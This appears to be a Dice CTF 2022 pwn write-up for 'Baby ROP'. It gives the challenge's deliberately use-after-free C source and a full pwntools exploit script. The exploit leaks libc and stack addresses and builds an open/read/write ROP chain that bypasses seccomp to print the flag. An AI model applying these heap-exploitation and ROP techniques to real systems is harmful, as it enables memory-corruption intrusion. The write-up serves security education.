# Dice CTF 2022 - Baby ROP **Category - Pwn** **Author - ireland** **Challenge Files - https://github.com/Hellsender01/CTF-Writeups/tree/main/Dice%20CTF%202022** ![](https://i.imgur.com/ldzctG2.png) # Recon `PIE` and `canary` are disabled. ```bash ➜ baby-rop checksec babyrop [*] '/ctf/dice_ctf/pwn/baby-rop/babyrop' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ``` Source Code was provided `uaf.c` ```c= #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include "seccomp-bpf.h" void activate_seccomp() { struct sock_filter filter[] = { VALIDATE_ARCHITECTURE, EXAMINE_SYSCALL, ALLOW_SYSCALL(mprotect), ALLOW_SYSCALL(mmap), ALLOW_SYSCALL(munmap), ALLOW_SYSCALL(exit_group), ALLOW_SYSCALL(read), ALLOW_SYSCALL(write), ALLOW_SYSCALL(open), ALLOW_SYSCALL(close), ALLOW_SYSCALL(openat), ALLOW_SYSCALL(fstat), ALLOW_SYSCALL(brk), ALLOW_SYSCALL(newfstatat), ALLOW_SYSCALL(ioctl), ALLOW_SYSCALL(lseek), KILL_PROCESS, }; struct sock_fprog prog = { .len = (unsigned short)(sizeof(filter) / sizeof(struct sock_filter)), .filter = filter, }; prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog); } #include <gnu/libc-version.h> #include <stdio.h> #include <unistd.h> int get_libc() { // method 1, use macro printf("%d.%d\n", __GLIBC__, __GLIBC_MINOR__); // method 2, use gnu_get_libc_version puts(gnu_get_libc_version()); // method 3, use confstr function char version[30] = {0}; confstr(_CS_GNU_LIBC_VERSION, version, 30); puts(version); return 0; } #define NUM_STRINGS 10 typedef struct { size_t length; char * string; } safe_string; safe_string * data_storage[NUM_STRINGS]; void read_safe_string(int i) { safe_string * ptr = data_storage[i]; if(ptr == NULL) { fprintf(stdout, "that item does not exist\n"); fflush(stdout); return; } fprintf(stdout, "Sending %zu hex-encoded bytes\n", ptr->length); for(size_t j = 0; j < ptr->length; ++j) { fprintf(stdout, " %02x", (unsigned char) ptr->string[j]); } fprintf(stdout, "\n"); fflush(stdout); } void free_safe_string(int i) { safe_string * ptr = data_storage[i]; free(ptr->string); free(ptr); } void write_safe_string(int i) { safe_string * ptr = data_storage[i]; if(ptr == NULL) { fprintf(stdout, "that item does not exist\n"); fflush(stdout); return; } fprintf(stdout, "enter your string: "); fflush(stdout); read(STDIN_FILENO, ptr->string, ptr->length); } void create_safe_string(int i) { safe_string * ptr = malloc(sizeof(safe_string)); fprintf(stdout, "How long is your safe_string: "); fflush(stdout); scanf("%zu", &ptr->length); ptr->string = malloc(ptr->length); data_storage[i] = ptr; write_safe_string(i); } // flag.txt int main() { get_libc(); activate_seccomp(); int idx; int c; while(1){ fprintf(stdout, "enter your command: "); fflush(stdout); while((c = getchar()) == '\n' || c == '\r'); if(c == EOF) { return 0; } fprintf(stdout, "enter your index: "); fflush(stdout); scanf("%u", &idx); if((idx < 0) || (idx >= NUM_STRINGS)) { fprintf(stdout, "index out of range: %d\n", idx); fflush(stdout); continue; } switch(c) { case 'C': create_safe_string(idx); break; case 'F': free_safe_string(idx); break; case 'R': read_safe_string(idx); break; case 'W': write_safe_string(idx); break; case 'E': return 0; } } } ``` File name `uaf.c` made it clear that the challenge is about `Use After Free` Vulnerability which was easy to discover, addresses of chunks are stored in __data_storage__ array but they are never nulled out after being freed, so we can read and write to those addresses even if they have been freed. Let's see how the heap would look like if we allocate a chunk of size 0x20 `0x405ad0` and enter `AAA` as content. We can see that whenever we allocate a chunk program itself also create a chunk `0x405ab0` to hold the length of data user has entered and address of the chunk which holds our data, so the program itself does not keep the track of chunk which we have allocated `0x405ad0` instead it creates a chunk `0x405ac0` that holds the address of our chunk and add `0x405ab0` address to data_storage array instead of `0x405ad0`. | Address | Heap | |:---------:|:-----------------------------------:| | 0x405ab0 |0x0000000000000000 0x0000000000000021| | 0x405ac0 |0x0000000000000003 0x0000000000405ae0| | 0x405ad0 |0x0000000000000000 0x0000000000000021| | 0x405ae0 |0x0000000000414141 0x0000000000000000| Also, challenge name itself include __ROP__, so it was clear we have to make a rop chain to get the shell but we have `seccomp rules` in this binary. ```c { struct sock_filter filter[] = { VALIDATE_ARCHITECTURE, EXAMINE_SYSCALL, ALLOW_SYSCALL(mprotect), ALLOW_SYSCALL(mmap), ALLOW_SYSCALL(munmap), ALLOW_SYSCALL(exit_group), ALLOW_SYSCALL(read), ALLOW_SYSCALL(write), ALLOW_SYSCALL(open), ALLOW_SYSCALL(close), ALLOW_SYSCALL(openat), ALLOW_SYSCALL(fstat), ALLOW_SYSCALL(brk), ALLOW_SYSCALL(newfstatat), ALLOW_SYSCALL(ioctl), ALLOW_SYSCALL(lseek), KILL_PROCESS, }; ``` Only above mentioned syscalls are allowed but this isn't a big deal we have `open,read,write` syscalls allowed, they are enough to open and print the content of flag.txt # Exploitation So my plan is - - Leak LIBC address - Leak Stack address - Overwrite Saved Return Address With Rop Chain First of all we will allocate two big chunks and free them - ```python= malloc(index=0, length=128, data=b"AAAAAA") malloc(index=1, length=128, data=b"AAAAAA") free(index=0) free(index=1) ``` ### Leaking LIBC Now when we ask for a 0x20 chunk we will get the same chunk which was used for storing metadata of first chunk. Now we can write the address of our choice to that chunk and that address will be treated as the first chunk or chunk with index 0. ```python= malloc(index=2, length=16, data=p64(8) + p64(elf.sym.got.free)) free_leak = read(index=0) libc.address = free_leak - libc.sym.free ``` ### Leaking Stack Now we got libc base address, we can leak stack address by reading `environ` variable in libc which points to environment variabes on stack. After that we can substract the offset to saved return address on stack. ```python= write(index=2, data=p64(8) + p64(libc.sym.environ)) stack_leak = read(index=0) return_addr = stack_leak - 0x140 ``` ### ROP Chain Now we have address of saved return address on stack, we can overwrite data to that address with our rop chain. For our rop chain we will do a read syscall to read the flag file name and save it to bss section then we will do a open syscall to open flag file and then read and write syscall to print it on stdout. ```python= rop = ROP(libc) bin_sh = elf.bss(100) rop.read(0, bin_sh, 8) # user will enter flag.txt here rop.open(bin_sh, 0) rop.read(3, bin_sh, 200) rop.write(1, bin_sh, 200) write(2, p64(len(rop.chain())) + p64(return_addr)) write(0, rop.chain()) ``` # Full-Exploit ```python= #!/usr/bin/python3 from pwn import * elf = context.binary = ELF("./uaf_patched") #patched with pwninit context.terminal = ["gnome-terminal", "--tab", "--"] libc = elf.libc host = args.HOST or "mc.ax" port = int(args.PORT or 31245) gdbscript = """ continue """.format( **locals() ) MENU = b"enter your command: " INDEX = b"enter your index: " LENGTH = b"How long is your safe_string: " STRING = b"enter your string: " def start_local(argv=[], *a, **kw): if args.GDB: return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([elf.path] + argv, *a, **kw) def start_remote(argv=[], *a, **kw): io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): if args.REMOTE: return start_remote(argv, *a, **kw) else: return start_local(argv, *a, **kw) def malloc(index, length, string): io.sendlineafter(MENU, b"C") io.sendlineafter(INDEX, str(index).encode()) io.sendlineafter(LENGTH, str(length).encode()) io.sendafter(STRING, string) # no new line needed due to read function def free(index): io.sendlineafter(MENU, b"F") io.sendlineafter(INDEX, str(index).encode()) def write(index, string): io.sendlineafter(MENU, b"W") io.sendlineafter(INDEX, str(index).encode()) io.sendlineafter(STRING, string) def read(index): io.sendlineafter(MENU, b"R") io.sendlineafter(INDEX, str(index).encode()) io.recvuntil(b"hex-encoded bytes\n") leak = (io.recvline().decode()).split() return int("".join([leak[i - 1] for i in range(len(leak), 0, -1)]), 16) if __name__ == "__main__": io = start() # 1) Setup Heap malloc(0, 128, b"AAAAAA") malloc(1, 128, b"AAAAAA") free(0) free(1) # 1) Leak LIBC malloc(2, 16, p64(8) + p64(elf.sym.got.free)) free_leak = read(0) libc.address = free_leak - libc.sym.free info(f"LIBC BASE: {hex(libc.address)}") # 2) Leak STACK write(2, p64(8) + p64(libc.sym.environ)) stack_leak = read(0) return_addr = stack_leak - 0x140 info(f"SRA: {hex(return_addr)}") # 3) Execute ROP rop = ROP(libc) bin_sh = elf.bss(100) rop.read(0, bin_sh, 8) rop.open(bin_sh, 0) rop.read(3, bin_sh, 200) rop.write(1, bin_sh, 200) write(2, p64(len(rop.chain())) + p64(return_addr)) write(0, rop.chain()) io.sendline(b"E1") io.interactive() ``` FLAG - `dice{glibc_2.34_stole_my_function_pointers-but_at_least_nobody_uses_intel_CET}`